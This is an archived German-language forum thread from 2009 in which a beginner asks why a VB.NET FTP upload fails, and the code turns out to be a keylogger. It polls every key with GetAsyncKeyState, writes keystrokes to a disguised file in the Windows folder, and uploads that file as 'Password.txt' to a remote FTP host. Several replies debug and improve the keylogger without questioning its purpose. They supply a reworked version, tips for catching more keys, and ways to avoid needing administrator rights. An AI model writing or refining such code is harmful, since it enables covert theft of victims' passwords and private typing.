Archiv verlassen und diese Seite im Standarddesign anzeigen : Ftp upload Problem
Also liebe Forum User ich habe folgendes Problem :
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()
Dim Ort As String = "C:\WINDOWS\windows2233.txtt"
Dim Ftp As String = "mein ftp"
Dim Name As String = "mmeine datei"
Dim User As String = login"
Dim Password As String = "pw"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
Warum klappt das nciht ?
Benutze vb 2008 express editoin
Dim Ort As String = "C:\WINDOWS\windows2233.txtt"
Ich würde mal sagen weil hier ein t zuviel ist.
Sonst müsste alles richtig sein ;)
btw: falsches forum -> move to .NET
MfG
Also ich habe das mit dem t korriegiert , passiert immer noch nichts, ich hab dne "Fehlerlog" mal hier :
Eine Ausnahme (erste Chance) des Typs "System.ArgumentException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
vllt hilft es einem weiter um mein prob zu lösen
Ich hab im Moment leider keine IDE Installiert , aber es könnte daran liegen , das du ein Flush vergessen hast.
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()
MfG
Also könnt das vllt wer überarbeiten ?
Public Class Form1
Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()
Dim Ort As String = "C:\WINDOWS\windows2233.txt"
Dim Ftp As String = "*******.ohost.de"
Dim Name As String = "Password.txt"
Dim User As String = "*********"
Dim Password As String = "*********"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
Label1.Text = Label1.Text + ("a")
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
Label1.Text = Label1.Text + ("b")
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
Label1.Text = Label1.Text + ("c")
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
Label1.Text = Label1.Text + ("d")
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
Label1.Text = Label1.Text + ("e")
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
Label1.Text = Label1.Text + ("f")
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
Label1.Text = Label1.Text + ("g")
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
Label1.Text = Label1.Text + ("h")
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
Label1.Text = Label1.Text + ("i")
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
Label1.Text = Label1.Text + ("j")
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
Label1.Text = Label1.Text + ("k")
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
Label1.Text = Label1.Text + ("l")
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
Label1.Text = Label1.Text + ("m")
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
Label1.Text = Label1.Text + ("n")
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
Label1.Text = Label1.Text + ("o")
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
Label1.Text = Label1.Text + ("p")
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
Label1.Text = Label1.Text + ("q")
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
Label1.Text = Label1.Text + ("r")
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
Label1.Text = Label1.Text + ("s")
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
Label1.Text = Label1.Text + ("t")
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
Label1.Text = Label1.Text + ("u")
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
Label1.Text = Label1.Text + ("v")
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
Label1.Text = Label1.Text + ("w")
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
Label1.Text = Label1.Text + ("x")
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
Label1.Text = Label1.Text + ("y")
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
Label1.Text = Label1.Text + ("z")
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + ("1")
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
Label1.Text = Label1.Text + ("2")
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
Label1.Text = Label1.Text + ("3")
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
Label1.Text = Label1.Text + ("4")
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
Label1.Text = Label1.Text + ("5")
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
Label1.Text = Label1.Text + ("6")
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
Label1.Text = Label1.Text + ("7")
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
Label1.Text = Label1.Text + ("8")
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
Label1.Text = Label1.Text + ("9")
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + ("0")
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
Label1.Text = Label1.Text + ("Weggemacht")
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
Label1.Text = Label1.Text + (" ")
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\windows2233.txt", Label1.Text, False)
End Sub
End Class
Sry , bin nen "noob" was ist IDE ?
Integrated Development Environment , bekannt als Entwicklungsumgebung oder Compiler^^
MfG
Ehm , ok , aber das hilft mir jetzt auch nicht weiter .
Ich glaube ich habe etwas grundlegendes falsch gemacht im Script , habe es oben über deinen Post gepostet
Public Class Form1
Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()
Dim Ort As String = "C:\WINDOWS\windows2233.txt"
Dim Ftp As String = "*******.ohost.de"
Dim Name As String = "Password.txt"
Dim User As String = "*********"
Dim Password As String = "*********"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
Label1.Text = Label1.Text + ("a")
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
Label1.Text = Label1.Text + ("b")
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
Label1.Text = Label1.Text + ("c")
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
Label1.Text = Label1.Text + ("d")
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
Label1.Text = Label1.Text + ("e")
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
Label1.Text = Label1.Text + ("f")
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
Label1.Text = Label1.Text + ("g")
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
Label1.Text = Label1.Text + ("h")
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
Label1.Text = Label1.Text + ("i")
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
Label1.Text = Label1.Text + ("j")
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
Label1.Text = Label1.Text + ("k")
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
Label1.Text = Label1.Text + ("l")
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
Label1.Text = Label1.Text + ("m")
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
Label1.Text = Label1.Text + ("n")
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
Label1.Text = Label1.Text + ("o")
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
Label1.Text = Label1.Text + ("p")
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
Label1.Text = Label1.Text + ("q")
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
Label1.Text = Label1.Text + ("r")
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
Label1.Text = Label1.Text + ("s")
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
Label1.Text = Label1.Text + ("t")
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
Label1.Text = Label1.Text + ("u")
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
Label1.Text = Label1.Text + ("v")
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
Label1.Text = Label1.Text + ("w")
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
Label1.Text = Label1.Text + ("x")
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
Label1.Text = Label1.Text + ("y")
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
Label1.Text = Label1.Text + ("z")
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + ("1")
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
Label1.Text = Label1.Text + ("2")
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
Label1.Text = Label1.Text + ("3")
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
Label1.Text = Label1.Text + ("4")
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
Label1.Text = Label1.Text + ("5")
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
Label1.Text = Label1.Text + ("6")
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
Label1.Text = Label1.Text + ("7")
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
Label1.Text = Label1.Text + ("8")
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
Label1.Text = Label1.Text + ("9")
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + ("0")
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
Label1.Text = Label1.Text + ("Weggemacht")
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
Label1.Text = Label1.Text + (" ")
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\windows2233.txt", Label1.Text, False)
End Sub
Public Class Form1
Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Dim DateiPfad As String = Environment.GetEnvironmentVariable("windir") & "\log.txt"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer1.Start()
'Dim Ftp As String = "*******.ohost.de"
'Dim Name As String = "Password.txt"
'Dim User As String = "*********"
'Dim Password As String = "*********"
'My.Computer.Network.UploadFile(DateiPfad, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
SchreibeZeile(DateiPfad, "a", True)
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
SchreibeZeile(DateiPfad, "b", True)
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
SchreibeZeile(DateiPfad, "c", True)
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
SchreibeZeile(DateiPfad, "d", True)
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
SchreibeZeile(DateiPfad, "e", True)
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
SchreibeZeile(DateiPfad, "f", True)
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
SchreibeZeile(DateiPfad, "g", True)
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
SchreibeZeile(DateiPfad, "h", True)
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
SchreibeZeile(DateiPfad, "i", True)
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
SchreibeZeile(DateiPfad, "j", True)
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
SchreibeZeile(DateiPfad, "k", True)
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
SchreibeZeile(DateiPfad, "l", True)
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
SchreibeZeile(DateiPfad, "m", True)
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
SchreibeZeile(DateiPfad, "n", True)
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
SchreibeZeile(DateiPfad, "o", True)
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
SchreibeZeile(DateiPfad, "p", True)
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
SchreibeZeile(DateiPfad, "q", True)
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
SchreibeZeile(DateiPfad, "r", True)
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
SchreibeZeile(DateiPfad, "s", True)
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
SchreibeZeile(DateiPfad, "t", True)
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
SchreibeZeile(DateiPfad, "u", True)
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
SchreibeZeile(DateiPfad, "v", True)
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
SchreibeZeile(DateiPfad, "w", True)
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
SchreibeZeile(DateiPfad, "X", True)
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
SchreibeZeile(DateiPfad, "Y", True)
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
SchreibeZeile(DateiPfad, "Z", True)
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
SchreibeZeile(DateiPfad, "1", True)
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
SchreibeZeile(DateiPfad, "2", True)
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
SchreibeZeile(DateiPfad, "3", True)
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
SchreibeZeile(DateiPfad, "4", True)
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
SchreibeZeile(DateiPfad, "5", True)
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
SchreibeZeile(DateiPfad, "6", True)
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
SchreibeZeile(DateiPfad, "7", True)
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
SchreibeZeile(DateiPfad, "8", True)
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
SchreibeZeile(DateiPfad, "9", True)
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
SchreibeZeile(DateiPfad, "0", True)
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
SchreibeZeile(DateiPfad, "Weggemacht", True)
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
SchreibeZeile(DateiPfad, " ", True)
End If
If GetAsyncKeyState(Keys.Enter) = -32767 Then
SchreibeZeile(DateiPfad, "<br />", True)
End If
End Sub
Private Sub SchreibeZeile(ByVal Pfad As String, ByVal Daten As String, ByVal append As Boolean)
Dim sw As New System.IO.StreamWriter(Pfad, append)
If Daten = "<br />" Then
sw.Write(ControlChars.CrLf)
Else
sw.Write(Daten)
sw.Flush()
End If
sw.Flush()
sw.Close()
End Sub
End ClassAlso ich habe deinen Code mal überarbeitet und etwas verbessert
Desweiteren solltest du dir Sache wie ( "Label1.Text = Label1.Text + "1" ) abgewöhnen , da dies noch aus vb classic Zeiten stammt , und in .NET gibt es da spezielle Operatoren wie das +=
MfG
DarkFire
10.07.2009, 14:03
Du solltest Case benutzen =/
Mit If besteht die Chance das Buchstaben "übersehen" werden!
Danke , aber es klappt immer noch nicht ,
er findet die datei einfach nicht ,
Ich weiß nicht was ich da machen soll ....
bin halt nicht so erfahren bitte um hilfe
Also bei mir funktioniert es , kann nur noch daran liegen das du keine Rechte hast in den Ordner zu schreiben bzw zu Lesen.
vll mal Als Administrator starten.
MfG
br00_pwn
10.07.2009, 14:55
ja bei mir funzt es auch, aber du solltest es vielleicht noch etwas abändern...geht um einiges einfacher und kürzer ;)
@Fuyo lasse deine Datei mal im tmp Ordner schreiben.
environ("tmp") & "\Logs.txt")
Vllt liegts ja an Vista und dadurch sollte es auch ohne Adminrechte gehen.
mfG
Ich werde es versuchen , ich benutze win xp
falls es euch hilft !
Bin einziger user , sollte admin rechte haben
Wie meinst du das mit :
environ("tmp") & "\Logs.txt")
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.